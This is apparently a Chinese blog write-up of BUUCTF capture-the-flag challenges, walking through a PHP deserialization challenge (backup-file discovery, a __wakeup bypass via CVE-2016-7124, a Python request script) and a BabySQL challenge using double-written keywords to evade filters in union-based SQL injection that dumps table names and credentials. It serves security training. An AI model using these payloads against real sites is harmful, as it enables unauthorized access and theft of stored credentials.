[极客大挑战 2019]PHP
进入到网页之后,发现页面是一只小猫。很有意思哈哈哈哈。
看到页面上的文字提示,可以发现页面可能存在备份文件。

而对于网站备份文件,一般名为www.zip或www.rar以及www.tar.gz
我们可以使用dirsearch工具扫描一下。但是我这里扫的时候,发现返回409,考虑可能对BUU服务器做的限制吧。
盲猜是www.zip。
/www.zip
果然下载成功,得到一个压缩包,解压之后文件如下:

代码审计
我们先看flag.php文件中的内容:
发现得到flag哈哈哈哈哈。我知道这个不是flag。但是我还想去试下,发现flag错误!!!!!

接着,我们去查看index.php文件地内容:

可以看到它引入了class.php文件并且以GET方法接受了select参数。之后对我们传入select参数的值进行反序列化。
在PHP的类中,我们称变量为属性,称函数为方法
我们查看class.php文件的内容。如下:
<?php
include 'flag.php'; // 引用flag.php页面。
error_reporting(0); // 关闭错误显示。
class Name{ // 定义Name类
private $username = 'nonono'; // 将'nonono'赋值给私有属性$username
private $password = 'yesyes'; // 将'yesyes'赋值给私有属性$password
// 定义 __construct 魔术方法
public function __construct($username,$password){
// 将Name类的username属性的值设置为变量$username的值
$this->username = $username;
// 将Name类的username属性的值设置为变量$username的值
$this->password = $password;
}
// 定义 __wakeup魔术方法
function __wakeup(){
// 将Name类中的username属性的值设置为字符串类型的guest
$this->username = 'guest';
}
// 定义__destruct()魔术方法
function __destruct(){
if ($this->password != 100) {
// 如果Name类中的password属性的值不是100则执行下面代码。
echo "</br>NO!!!hacker!!!</br>"; // 页面输出 NO!!!hacker!!!
echo "You name is: "; // 页面输出一句话
echo $this->username;echo "</br>"; // 页面输出当前Name类中的username属性的值
echo "You password is: ";
echo $this->password;echo "</br>"; // 页面输出当前Name类中的username属性的值
die(); // 退出程序执行
}
// 如果Name类中的password属性的值不是100 则程序还没有走到这里就退出执行了。
if ($this->username === 'admin') {
// 如果Name类中的username属性的值为 admin 则打印flag
global $flag;
echo $flag; // 输出flag
}else{
// 如果如果Name类中的username属性的值不为admin 则输出下面这句话。
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die(); // 退出程序执行
}
}
}
?>
序列化反序列化概念介绍
序列化:把复杂的数据类型压缩到一个字符串中 数据类型可以是数组,字符串,对象等 函数 : serialize()
反序列化:恢复原先被序列化的变量 函数: unserialize()
魔术方法简单学习
下面介绍几个魔术方法:
__construct: 在创建对象时候初始化对象,一般用于对变量赋初值。
__destruct: 和构造函数相反,当对象所在函数调用完毕后执行。
__wakeup:反序列化恢复对象之前调用该方法
__toString:当对象被当做一个字符串使用时调用。
__sleep:序列化对象之前就调用此方法(其返回需要一个数组)
__call:当调用对象中不存在的方法会自动调用该方法。
__get:在调用私有属性的时候会自动执行
__isset():在不可访问的属性上调用isset()或empty()触发
__unset():在不可访问的属性上使用unset()时触发
魔术函数有个特点:不需要我们手动调用。它会在某些情况下,自动调用。
而对于本道题,我们只需要先了解前三个魔术函数即可。
下面我们学习一下前三个魔术方法:
<?php
class Name{
public $username = '';
public $password = '';
// __destruct
public function __destruct(){
echo '__destruct<br>';
}
// __wakeup
public function __wakeup(){
echo "__wakeup";
}
// __construct
public function __construct(){
echo '__construct<br>';
}
public function printData(){
echo 'your username: '.$this->username. ' your password: '.$this->password."<br>";
}
}
$obj = new Name(); // 创建一个对象 __construct魔术函数会被调用
// 设置数据
$obj->username = 'x1ong';
$obj->password = 'test';
$serialized = serialize($obj); // 序列化一个对象 __sleep魔术函数会被调用 但是我们这里没有指定
// echo $serialized; // O:4:"Name":2:{s:8:"username";s:5:"x1ong";s:8:"password";s:4:"test";}
$unserialized = unserialize('O:4:"Name":2:{s:8:"username";s:5:"x1ong";s:8:"password";s:4:"test";}');
$unserialized->printData(); //
// 对象被销毁的时候执行__destruct
// 对象被销毁的时候执行__destruct
?>

以上为测试代码的执行效果。
通过上述执行结果可以发现,也是调用了__construct魔术函数。因为我们先创建了对象,此时__construct魔术方法也被调用了因此得以执行。所以它第一个执行的。
serialize() 函数用于序列化对象或数组,并返回一个字符串。
而我们使用unserialize()对一个序列化内容进行反序列化的时候,__wakeup方法会被调用。unserialize()就是对单一的已序列化的变量进行操作,将其转换回 PHP 的值
__destruct 析构方法,PHP将在对象被销毁前(即从内存中清除前)会调用这个方法。
理清思路
我们分析class.php的内容发现,必须满足两个条件才会打印出flag的内容,一是password的值必须为100。二是username的值必须为admin。但是在反序列化的时候,即使用unserialize()函数的时候,会自动的调用魔术方法__wakeup,而其会将我们的username变为guest。我们要绕过这个限制。
构造序列化
<?php
class Name{
private $username = 'admin'; // 将$usernmae属性赋值admin
private $password = 100; // 将$password属性赋值100
}
$obj = new Name(); // 创建这个对象
echo serialize($obj);
// 序列化之后的字符串:O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
?>
private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度。
而\0则是ASCII为0的字符是一个不可见的空字符(Null)。因此我们直接复制的时候会丢失这个空字符串。但是我们可以使用url编码%00代替。
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
序列化后的格式讲解:
O 表示一个对象
4 表示类名称的长度
Name 类的名称
2 表示类中有2个属性
{} 里面为类中的属性值
s 表示string类型对象
14 表示属性的长度(其中包含ASCII码为0的字符 不可见字符)
\0 表示ASCII码为0的字符(不可见的) 我这里使用url编码%00表示了
Name 表示类名 因为private声明的属性为私有属性所以要加上类名
\0 表示ASCII码为0的字符(不可见的)
username 表示属性名
s 表示属性值的类型 string类型
5 表述属性值的长度
admin 表示属性的值
后面的与前面{}里面的基本一致。只是i表示integer。整型。
构造payload:
/?select=O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
此时你传上去会发现。(A) 啥也没有。

这是为什么呢?刚刚审计class.php源码发现,Name类中有__wakeup魔术方法,此方法会修改我们username的值为guest。而和这个函数实在我们反序列化的的时候调用的。即使用unserialize()函数的时候。也就是我们在index.php页面传入select参数的时候。它会覆盖我们的username=admin。而此时username的值为guest。而我们的password的值还是100,因此页面什么都不会输出。
那么我们需要绕过__wakeup魔术方法。使其不执行。
__wakeup方法绕过
漏洞信息:
CVE-2016-7124
影响版本:
PHP5 < 5.6.25
PHP7 < 7.0.10
漏洞成因:
如果类中存在__wakeup方法,调用 unserilize() 方法恢复对象之前则先调用__wakeup方法,
但是序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行
下面看示例:

可以发现,当前我们的序列话之后的属性个数为2。则执行了__wakeup方法。
继续往下看:

但是当我们将属性的个数修改为3之后。发现并没有执行__wakeup方法。而是执行了两次__destruct,代表我们的对象被调用了两次。一次是创建对象的时候,二是反序列化之后的时候。
解题
构造Payload:
/?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

这种是通过将ASCII为0的字符进行url编码之后提交的payload。对于遇到ASCII为0的字符的我们还可以使用\0代替。不过其必须使用Python进行提交。虽然是Python程序进行提交,但是还是需要绕过__wakeup方法的。只是将%00换成了/0而已。
import requests
url = 'http://8835f6e4-ac55-4c8c-8639-173e50454437.node4.buuoj.cn:81/' // 这里替换为你的题目地址
req = requests.get(url+'/?select=O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}')
print(req.text)
运行结果:

flag{9a2ba5a6-77b4-4ea3-8bca-5e78eb2f206c}
[极客大挑战 2019]BabySQL
进入到页面后,发现依旧是登录框。
先尝试使用万能用户名登录,发现or被过滤了。于是就换成了||。也是逻辑或,只是表现形式不同。
username: admin' || 1 = 1 #
password:随便输

发现登录成功,但是没啥用。并没有flag。
解题
以下的payload都是在用户名哪里输入的。密码则是随便填
admin' order by 3 #

可以发现,or和by都被替换掉了,这是尝试使用双写绕过。构造payload:
admin' oorrder bbyy 3 # 登录成功
admin' oorrder bbyy 4 # 页面报错提示未知的列4 错误见下图:

那么我们可以得知当前表的列数为3列。
知道列数之后,尝试使用union联合查询注入
admin' union select 1,2,3 #

发现union和select被过滤,这里继续使用双写绕过
admin' ununionion selselectect 1,2,3 # 登录成功。

但是页面并没有我们select 1,2,3的查询结果,猜测可能是由于后端代码限制。只允许显示两行。
我们这里将admin修改为test,使union前面的select查询为空。则页面会输出后者查询。
test' ununionion selselectect 1,2,3 #

发现页面,返回2和3,我们将payload中的2和3处修改为我们的想要查询的数据即可。
先爆下当前使用的数据库和登录的用户。
test' ununionion selselectect 1,database(),user() #

发现依旧是geek数据库哈哈哈哈,只是在道题与前面的sql注入。增加了过滤。果然是页面上所说的:

我们先获取当前数据库下的所有表,因为之前的那道sql注入题,flag就在当前数据库下的某个表中。
test' ununionion selselectect 1,group_cocat(table_name),user() from information_schema.tables where table_schema=database() #

发现报错了,可能是因为information中的or被过滤掉了,从而导致语法出错。还是使用双写绕过:
test' ununionion selselectect 1,group_cocat(table_name),user() from infoorrmation_shema.tables where table_schema=database() #

依旧报错,猜测可能是form被过滤掉了,使用双写绕过:
test' ununionion selselectect 1,group_cocat(table_name),user() frfromom infoorrmation_shema.tables where table_schema=database() #

还是报错,猜测可能是where别过滤掉了。因为前面报错信息中的table_schema是正常的,应该没有被过滤。继续双写:
test' ununionion selselectect 1,group_concat(table_name),user() frfromom infoorrmation_schema.tables whwhereere table_schema=database();#

发现当前数据库下有两张表,分别是b4bsql和geekuser。和[极客大挑战 2019]LoveSQL中l0ve1ysq1的表名,变成了并b4bsql。啊哈哈哈哈哈哈,这就是写博客的好处嘛!!!所以字段名可能还是一致的。不过我这里还要去爆一虾。
爆b4bsql表的列(字段)名:
test' ununionion selselectect 1,group_concat(column_name),user() frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql';#

发现字段名果然还是id,username,password。洗不洗出题人太懒了哈哈哈哈
爆geekuser表的列(字段)名:
test' ununionion selselectect 1,group_concat(column_name),user() frfromom infoorrmation_schema.columns whwhereere table_name='geekuser';#

发现和上个一样。
那么我们直接获取表的数据
构造payload:
test' uniunionon selselectect 1,2,group_concat(id,0x7e,username,0x7e,passwoorrd) frfromom geekuser #

发现并没有flag
尝试获取另一张表的数据:
test' uniunionon selselectect 1,2,group_concat(id,0x7e,username,0x7e,passwoorrd) frfromom b4bsql #

发现了flag。为了能看清,我把字体颜色修改为了红色。flag没有截全是因为数据太多了。另一半在下一行。所以就没截图了。
flag{83bab5a0-a441-4302-988b-dcf017cfa67a}
总结
这道题主要对一些特殊字符进行了替换。将其替换为空。我们使用双写绕过就好啦。
笔者在做题中发现过滤了如下字符:
or
union
select
from
where
可能有的过滤字符笔者没有发现。
[护网杯 2018]easy_tornado
暂不更新
本文作者为blog,转载请注明。